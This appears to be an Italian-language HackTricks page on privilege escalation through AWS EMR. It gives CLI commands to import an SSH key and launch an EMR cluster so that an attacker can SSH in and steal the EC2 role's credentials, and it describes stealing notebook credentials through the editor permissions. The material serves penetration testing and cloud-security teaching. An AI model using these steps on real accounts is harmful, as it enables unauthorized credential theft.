AWS - EMR Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

EMR

Maggiori informazioni su EMR in:

pageAWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

Un attaccante con queste autorizzazioni può avviare un nuovo cluster EMR collegando ruoli EC2 e cercare di rubare le sue credenziali. Nota che per fare ciò dovresti conoscere una chiave privata ssh importata nell'account o importarne una e essere in grado di aprire la porta 22 nel nodo master (potresti essere in grado di farlo con gli attributi EmrManagedMasterSecurityGroup e/o ServiceAccessSecurityGroup all'interno di --ec2-attributes).

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

Nota come un ruolo EMR sia specificato in --service-role e un ruolo ec2 sia specificato in --ec2-attributes all'interno di InstanceProfile. Tuttavia, questa tecnica consente solo di rubare le credenziali del ruolo EC2 (poiché ci si connette tramite ssh) ma non il ruolo IAM EMR.

Impatto potenziale: Privesc al ruolo del servizio EC2 specificato.

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

Con queste autorizzazioni, un attaccante può accedere alla console AWS, creare un Notebook e accedervi per rubare il ruolo IAM.

Anche se si allega un ruolo IAM all'istanza del notebook nei miei test ho notato che ero in grado di rubare le credenziali gestite da AWS e non le credenziali relative al ruolo IAM correlato.

Impatto potenziale: Privesc al ruolo gestito da AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

elasticmapreduce:OpenEditorInConsole

Solo con questa autorizzazione un attaccante sarà in grado di accedere al Jupyter Notebook e rubare il ruolo IAM associato ad esso. L'URL del notebook è https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

Anche se si allega un ruolo IAM all'istanza del notebook nei miei test ho notato che ero in grado di rubare le credenziali gestite da AWS e non le credenziali relative al ruolo IAM correlato`.

Impatto potenziale: Privesc al ruolo gestito da AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated